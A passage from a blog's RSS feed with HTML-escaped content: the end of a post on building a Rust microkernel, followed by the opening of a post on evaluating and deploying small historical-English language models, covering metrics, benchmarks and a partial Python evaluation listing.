&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── arch_aarch64_virt/      # AArch64 QEMU virt platform
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       ├── boot.S              # Assembly: EL2→EL1 drop, vectors
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       ├── main.rs             # Rust entry point
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       ├── uart.rs             # PL011 UART driver
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       ├── timer.rs            # Generic Timer + GIC
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       ├── preempt.rs          # Context switching
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       └── mem.rs              # Frame allocator + MMU
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── scripts/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── build-aarch64-virt.sh   # Build AArch64 virt kernel
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── run-aarch64-virt.sh     # Run in QEMU
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── docs/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── blog/                   # This blog series
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── dist/                       # Build artifacts&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;kernel&lt;/code&gt; crate knows nothing about hardware. It accepts a &lt;code&gt;Logger&lt;/code&gt; trait object and calls &lt;code&gt;.log()&lt;/code&gt; to print messages. The &lt;code&gt;hal&lt;/code&gt; crate defines that trait. The &lt;code&gt;arch_aarch64_virt&lt;/code&gt; crate implements it with a real UART driver and handles everything ARM-specific: boot assembly, timer setup, interrupt routing, page tables.&lt;/p&gt;
&lt;p&gt;The x86_64 and Raspberry Pi platform crates (&lt;code&gt;arch_x86_64&lt;/code&gt;, &lt;code&gt;arch_aarch64_rpi&lt;/code&gt;) also exist in &lt;code&gt;crates/&lt;/code&gt; and follow the same pattern. They&amp;rsquo;re not covered in the blog series, but use the same &lt;code&gt;kernel&lt;/code&gt; and &lt;code&gt;hal&lt;/code&gt; crates.&lt;/p&gt;
&lt;h2 id=&#34;9-references-and-acknowledgments&#34;&gt;9. References and acknowledgments&lt;/h2&gt;
&lt;p&gt;This project stands on the shoulders of giants. Philipp Oppermann&amp;rsquo;s &lt;a
	
		href = &#34;https://os.phil-opp.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&amp;ldquo;Writing an OS in Rust&amp;rdquo;
	&lt;/span&gt;
&lt;/a&gt; showed that Rust OS development is not only possible but genuinely enjoyable. MIT&amp;rsquo;s &lt;a
	
		href = &#34;https://pdos.csail.mit.edu/6.828/2023/xv6.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		xv6
	&lt;/span&gt;
&lt;/a&gt; demonstrated that you can teach OS internals with a clean, readable codebase. The &lt;a
	
		href = &#34;https://wiki.osdev.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		OSDev community
	&lt;/span&gt;
&lt;/a&gt; has been documenting hardware quirks and boot sequences for decades, and their wiki is invaluable.&lt;/p&gt;
&lt;p&gt;For operating systems theory, &lt;a
	
		href = &#34;https://pages.cs.wisc.edu/~remzi/OSTEP/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Operating Systems: Three Easy Pieces
	&lt;/span&gt;
&lt;/a&gt; (free online) is the best introduction we&amp;rsquo;ve found. For ARM architecture specifics, the &lt;a
	
		href = &#34;https://developer.arm.com/documentation/ddi0487/latest/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		ARM Architecture Reference Manual
	&lt;/span&gt;
&lt;/a&gt; is the definitive reference (and it&amp;rsquo;s freely available). For bare-metal Rust patterns, the &lt;a
	
		href = &#34;https://docs.rust-embedded.org/book/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Embedded Rust Book
	&lt;/span&gt;
&lt;/a&gt; covers &lt;code&gt;no_std&lt;/code&gt; development in depth.&lt;/p&gt;
&lt;p&gt;We also learned from real microkernel projects: &lt;a
	
		href = &#34;https://sel4.systems/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		seL4
	&lt;/span&gt;
&lt;/a&gt; (formally verified, beautifully designed), &lt;a
	
		href = &#34;https://www.minix3.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Minix 3
	&lt;/span&gt;
&lt;/a&gt; (Tanenbaum&amp;rsquo;s vision of what microkernels should be), and the &lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/L4_microkernel_family&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		L4 family
	&lt;/span&gt;
&lt;/a&gt; (proving that microkernel IPC can be fast).&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;5-Part Series&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Part 0 (this): Why build an OS from scratch?&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Part 1: Foundations&lt;/strong&gt; (coming soon)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Part 2: Communication&lt;/strong&gt; (coming soon)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Part 3: Concurrency&lt;/strong&gt; (coming soon)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Part 4: Memory and beyond&lt;/strong&gt; (coming soon)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;GitHub Repository&lt;/strong&gt;: &lt;a
	
		href = &#34;https://github.com/bahree/rust-microkernel&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		bahree/rust-microkernel
	&lt;/span&gt;
&lt;/a&gt; — full source code and build scripts&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Docker Image&lt;/strong&gt;: &lt;a
	
		href = &#34;https://hub.docker.com/r/amitbahree/rust-microkernel&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		amitbahree/rust-microkernel
	&lt;/span&gt;
&lt;/a&gt; — prebuilt dev environment with Rust, QEMU, and source code&lt;/p&gt;&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>Building LLMs from Scratch - Part 4: Evaluation &amp; Deployment</title>
      <link>/post/2026/01/building-llm-from-scratch-part4-evaluation-deployment/</link>
      <pubDate>Fri, 02 Jan 2026 00:00:00 +0000</pubDate>
      
      <guid>/post/2026/01/building-llm-from-scratch-part4-evaluation-deployment/</guid>
      <description>&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this final part of our 4-part series on building language models from scratch, we explore the evaluation, testing, and deployment pipeline that transforms our trained historical language models into working systems. &lt;a
	
		href = &#34;/post/2025/09/building-llm-from-scratch-part1/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 1
	&lt;/span&gt;
&lt;/a&gt; showed you how to use the published models, &lt;a
	
		href = &#34;/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 2
	&lt;/span&gt;
&lt;/a&gt; covered data collection and custom tokenization, and &lt;a
	
		href = &#34;/post/2025/11/building-llm-from-scratch-part3-model-architecture-gpu-training/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 3
	&lt;/span&gt;
&lt;/a&gt; detailed the model architecture and training infrastructure. Here, we complete the journey with evaluation frameworks, testing infrastructure, and deployment to Hugging Face Hub.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;⚠️ Educational Purpose&lt;/strong&gt;: This is a learning project designed to teach LLM development concepts. For production-scale LLMs, you&amp;rsquo;ll need much larger datasets, more sophisticated infrastructure, and additional considerations not covered here.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;As outlined in &lt;a
	
		href = &#34;/post/2025/09/building-llm-from-scratch-part1/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 1
	&lt;/span&gt;
&lt;/a&gt;, both the SLM (117M parameters) and the Regular Model (354M parameters) use the same training code and infrastructure with different configurations defined in &lt;strong&gt;&lt;code&gt;config.py&lt;/code&gt;&lt;/strong&gt;. The evaluation and deployment infrastructure is also identical - only the model architecture parameters differ.&lt;/p&gt;
&lt;p&gt;Both PyTorch checkpoint inference and Hugging Face model inference are fully working and available. Both the SLM and the Regular model are published on &lt;a
	
		href = &#34;https://huggingface.co/bahree&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Hugging Face Hub
	&lt;/span&gt;
&lt;/a&gt;. Local PyTorch checkpoints can be used directly for inference with the script &lt;strong&gt;&lt;code&gt;inference_pytorch.py&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;🔗 GitHub Repository&lt;/strong&gt;: &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		github.com/bahree/helloLondon
	&lt;/span&gt;
&lt;/a&gt; - Complete evaluation and deployment infrastructure (&lt;strong&gt;&lt;code&gt;05_evaluation/&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;06_inference/&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;10_scripts/&lt;/code&gt;&lt;/strong&gt;) plus guides (&lt;strong&gt;&lt;code&gt;08_documentation/EVALUATION_GUIDE.md&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;08_documentation/HUGGINGFACE_PUBLISHING.md&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;08_documentation/DEPLOYMENT_GUIDE.md&lt;/code&gt;&lt;/strong&gt;)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;🟥 Series Posts&lt;/strong&gt;: &lt;a
	
		href = &#34;/post/2025/09/building-llm-from-scratch-part1/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 1 - Using the Published Historical Models
	&lt;/span&gt;
&lt;/a&gt; | &lt;a
	
		href = &#34;/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 2 - Data Collection &amp;amp; Custom Tokenizer
	&lt;/span&gt;
&lt;/a&gt; | &lt;a
	
		href = &#34;/post/2025/11/building-llm-from-scratch-part3-model-architecture-gpu-training/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 3 - Training Architecture &amp;amp; GPU Optimization
	&lt;/span&gt;
&lt;/a&gt; | Part 4 (this post)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;🟧 Published Models&lt;/strong&gt;: &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-slm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SLM Model
	&lt;/span&gt;
&lt;/a&gt; | &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-llm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Regular Model
	&lt;/span&gt;
&lt;/a&gt; - Ready-to-use historical language models on Hugging Face&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;📗 Book Reference&lt;/strong&gt;: &lt;a
	
		href = &#34;https://a.co/d/gr87rem&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Generative AI in Action
	&lt;/span&gt;
&lt;/a&gt; - For deeper understanding of core LLM concepts&lt;/p&gt;&lt;/blockquote&gt;
&lt;h2 id=&#34;1-the-evaluation-challenge-measuring-what-matters-for-historical-language-models&#34;&gt;1. The Evaluation Challenge: Measuring What Matters for Historical Language Models&lt;/h2&gt;
&lt;p&gt;Now that we have trained models from &lt;a
	
		href = &#34;/post/2025/11/building-llm-from-scratch-part3-model-architecture-gpu-training/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 3
	&lt;/span&gt;
&lt;/a&gt;, we face a critical question: &lt;em&gt;How do we know if our models actually work?&lt;/em&gt; This isn&amp;rsquo;t just about checking if the code runs - it&amp;rsquo;s about validating that the models can generate historically accurate, linguistically appropriate text that captures the essence of 1500-1850 London English.&lt;/p&gt;
&lt;p&gt;The challenge with evaluating historical language models goes far beyond standard LLM metrics. Standard evaluation approaches like Perplexity and BLEU scores (we explain these and other metrics in &lt;a
	
		href = &#34;#industry-standard-metrics&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Section 2.1
	&lt;/span&gt;
&lt;/a&gt;) tell us whether the model generates fluent text. Still, they don&amp;rsquo;t answer the questions that matter for historical applications: &lt;em&gt;Does the model avoid anachronisms? Can it distinguish between Tudor and Victorian language patterns? Does it understand London geography and historical context?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Consider a simple example: if we prompt the model with &lt;em&gt;&amp;ldquo;In the year 1600, I traveled to London by railway&amp;rdquo;&lt;/em&gt;, a standard language model might generate this without flagging the obvious problem - railways didn&amp;rsquo;t exist in 1600. The evaluation framework needs to catch these &lt;strong&gt;temporal inconsistencies&lt;/strong&gt;, &lt;strong&gt;period-inappropriate language&lt;/strong&gt;, and &lt;strong&gt;historical inaccuracies&lt;/strong&gt; that standard metrics miss.&lt;/p&gt;
&lt;p&gt;This evaluation challenge requires building a specialized assessment pipeline that understands historical context, temporal boundaries, and period-specific linguistic patterns. We need metrics that can distinguish between a model that generates fluent modern English and one that produces authentic historical text - two very different capabilities.&lt;/p&gt;
&lt;h3 id=&#34;11-high-level-evaluation-strategy&#34;&gt;1.1 High-Level Evaluation Strategy&lt;/h3&gt;
&lt;p&gt;Our evaluation framework provides two complementary approaches that work with both PyTorch checkpoints and Hugging Face models, as illustrated in &lt;a href=&#34;#fig1&#34; class=&#34;figure-ref&#34;&gt;Figure 1&lt;/a&gt; below.&lt;/p&gt;
&lt;figure class=&#34;align-center &#34; id=&#34;fig1&#34;&gt;
    &lt;pre class=&#34;mermaid&#34;&gt;graph TD
    A[🤖 Trained Models&amp;lt;br/&amp;gt;SLM 117M / Regular 354M] --&amp;gt; B{Evaluation Type}
    
    B --&amp;gt;|Quick| C[⚡ Quick Evaluation&amp;lt;br/&amp;gt;Historical accuracy, language quality, coherence]
    B --&amp;gt;|Comprehensive| D[🔬 Comprehensive Evaluation&amp;lt;br/&amp;gt;Benchmarks, G-Eval, groundedness]
    
    C --&amp;gt; E[📊 Evaluation Results&amp;lt;br/&amp;gt;Historical accuracy scores, metrics]
    D --&amp;gt; E
    
    E --&amp;gt; F{Quality OK?}
    F --&amp;gt;|Yes| G[🚀 Deployment Options]
    F --&amp;gt;|No| H[🔄 Retrain/Adjust]
    H --&amp;gt; A
    
    G --&amp;gt; I[📦 PyTorch Checkpoints&amp;lt;br/&amp;gt;Direct inference]
    G --&amp;gt; J[🤗 Hugging Face Hub&amp;lt;br/&amp;gt;Published models]
    G --&amp;gt; K[💻 Local Deployment&amp;lt;br/&amp;gt;API, CLI, notebooks]
    
    I --&amp;gt; L[✅ Working Models&amp;lt;br/&amp;gt;Ready for use]
    J --&amp;gt; L
    K --&amp;gt; L
    
    style A fill:#e1f5fe
    style E fill:#f3e5f5
    style L fill:#e8f5e8
    style H fill:#fff3e0&lt;/pre&gt;
    &lt;figcaption&gt;Figure 1: Complete Evaluation and Deployment Pipeline&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Quick Evaluation&lt;/strong&gt; (&lt;strong&gt;&lt;code&gt;quick_eval.py&lt;/code&gt;&lt;/strong&gt;): Rapid validation testing historical accuracy on key events (e.g., 1665 plague, 1666 fire, etc.), language quality metrics (vocabulary diversity, historical pattern detection, readability), and coherence (ROUGE scores). Runs in minutes without external APIs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comprehensive Evaluation&lt;/strong&gt; (&lt;strong&gt;&lt;code&gt;comprehensive_evaluator.py&lt;/code&gt;&lt;/strong&gt;): Extends quick evaluation with benchmark datasets (small &lt;strong&gt;MMLU&lt;/strong&gt; and &lt;strong&gt;HellaSWAG&lt;/strong&gt; subsets), groundedness/fluency metrics, and optional LLM-as-a-judge scoring via &lt;strong&gt;G-Eval&lt;/strong&gt; (using an external GPT model). Produces detailed reports with generation samples.&lt;/p&gt;
&lt;p&gt;Both evaluators test across historical periods (such as Tudor, Stuart, and Georgian), language patterns (archaic pronouns and verb forms), and London-specific knowledge (geography and landmarks). The framework goes beyond standard LM metrics to assess period-appropriate language, temporal consistency, and historical accuracy.&lt;/p&gt;
&lt;h2 id=&#34;2-model-evaluation-framework&#34;&gt;2. Model Evaluation Framework&lt;/h2&gt;
&lt;p&gt;Now that we&amp;rsquo;ve outlined the evaluation challenge, let&amp;rsquo;s dive into the implementation. Our evaluation framework provides two complementary approaches that work with both PyTorch checkpoints and Hugging Face models. The framework is designed to be practical for a learning project while still providing meaningful insights into model performance.&lt;/p&gt;
&lt;h3 id=&#34;21-historical-linguistic-and-category-specific-evaluation&#34;&gt;2.1 Historical, Linguistic, and Category-Specific Evaluation&lt;/h3&gt;
&lt;p&gt;To make the evaluation concrete, we look at the model from three complementary aspects that together capture how well it understands the period, writes fluent text, and handles the different slices of the corpus. This multi-dimensional approach ensures we catch various types of failures - a model might generate grammatically perfect text but fail historically, or vice versa.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Historical assessments&lt;/strong&gt;: Quick evaluation uses targeted prompts around key events (e.g., 1665 plague, 1666 fire, Old Bailey trials) and checks for expected keywords and phrases. Comprehensive evaluation adds temporal consistency checks (forbidden/required terms per period), date-range sanity checks, and historical benchmarks (custom historical questions and the MMLU subset).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Linguistic assessments&lt;/strong&gt;: We measure surface quality (chars/words/sentences per sample, words per sentence), vocabulary diversity (unique/total tokens), readability (Flesch-style scores), and presence of historical patterns (archaic verb forms like &lt;em&gt;hath, doth&lt;/em&gt;, pronouns like &lt;em&gt;thou, thee&lt;/em&gt;, conjunctions and interjections). This shows whether the model writes in a historically flavored yet readable style.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Category-specific benchmarks&lt;/strong&gt;: Evaluations are grouped by period (Tudor, Stuart, Georgian), by linguistic phenomena (archaic forms, dialogue patterns), and by London knowledge (Thames, Westminster, Old Bailey, etc.). The comprehensive evaluator further probes general reasoning using HellaSWAG and MMLU subsets to assess the model&amp;rsquo;s performance across broader benchmarks.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a id=&#34;industry-standard-metrics&#34;&gt;&lt;/a&gt;&lt;strong&gt;Industry-Standard Evaluation Metrics and Benchmarks&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Our evaluation framework uses several standard metrics and benchmarks from LLM research. Here&amp;rsquo;s what each one measures and why we include it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Perplexity&lt;/strong&gt;: How surprised the model is by the reference text; lower is better because it means the model assigns higher probability to what actually happened in the corpus.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BLEU / ROUGE&lt;/strong&gt;: N-gram overlap between generated and reference text, giving a rough sense of literal similarity and how closely the model &amp;ldquo;sticks&amp;rdquo; to the reference phrasing. We use &lt;strong&gt;ROUGE-L&lt;/strong&gt; (longest common subsequence) to evaluate coherence and narrative flow.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MMLU&lt;/strong&gt; (&lt;em&gt;Massive Multitask Language Understanding&lt;/em&gt;): A large multiple-choice exam covering many academic subjects. Here, we use a tiny subset as a sanity check for general knowledge and reasoning, not as a primary goal.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HellaSWAG&lt;/strong&gt;: A commonsense inference benchmark where the model must pick a plausible continuation for a short story-like context. We use it to see whether the model&amp;rsquo;s basic reasoning looks sensible.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;G-Eval&lt;/strong&gt;: An &lt;em&gt;LLM-as-a-judge&lt;/em&gt; pattern where a stronger reference model (for example, GPT) scores generated text along dimensions like coherence or groundedness. In this project, it is optional and requires an external API key.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Groundedness&lt;/strong&gt;: Asks: &lt;em&gt;does the model stick to the provided context / known facts, or hallucinate?&lt;/em&gt; Our implementation approximates this by comparing generations against reference answers and historical constraints.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a deeper treatment of evaluation benchmarks (including MMLU, HellaSWAG, and LLM-as-a-judge methods like G-Eval), see &lt;strong&gt;Chapter 12 - Evaluating and Monitoring Generative Systems&lt;/strong&gt; in the book 📘 &lt;em&gt;&lt;a
	
		href = &#34;https://a.co/d/gr87rem&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Generative AI in Action
	&lt;/span&gt;
&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&lt;/blockquote&gt;
&lt;h3 id=&#34;22-automated-evaluation-pipeline&#34;&gt;2.2 Automated Evaluation Pipeline&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;run_comprehensive_evaluation&lt;/code&gt; function in &lt;strong&gt;&lt;code&gt;05_evaluation/comprehensive_evaluator.py&lt;/code&gt;&lt;/strong&gt; orchestrates the entire evaluation process. &lt;a href=&#34;#listing1&#34; class=&#34;listing-ref&#34;&gt;Listing 1&lt;/a&gt; shows how it works: We iterate over test sets, generate text with the model, compute all the metrics defined above, and aggregate the results into a results dictionary for analysis.&lt;/p&gt;
&lt;figure id=&#34;listing1&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;run_comprehensive_evaluation&lt;/span&gt;(model, tokenizer, test_data, device&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;cuda&amp;#39;&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Run comprehensive evaluation on historical language model&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Initialize evaluation metrics&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    metrics &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;perplexity&amp;#39;&lt;/span&gt;: [],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;bleu_scores&amp;#39;&lt;/span&gt;: [],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;rouge_scores&amp;#39;&lt;/span&gt;: [],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;historical_accuracy&amp;#39;&lt;/span&gt;: [],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;linguistic_quality&amp;#39;&lt;/span&gt;: [],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;coherence_scores&amp;#39;&lt;/span&gt;: [],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;temporal_consistency&amp;#39;&lt;/span&gt;: []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Evaluate on different text types&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; text_type, samples &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; test_data&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;items():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Evaluating on &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;text_type&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; samples...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; sample &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; samples:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Generate text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            generated &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; generate_text(model, tokenizer, sample[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;prompt&amp;#39;&lt;/span&gt;], device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Calculate metrics&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            perplexity &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; calculate_perplexity(model, tokenizer, sample[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;text&amp;#39;&lt;/span&gt;], device)
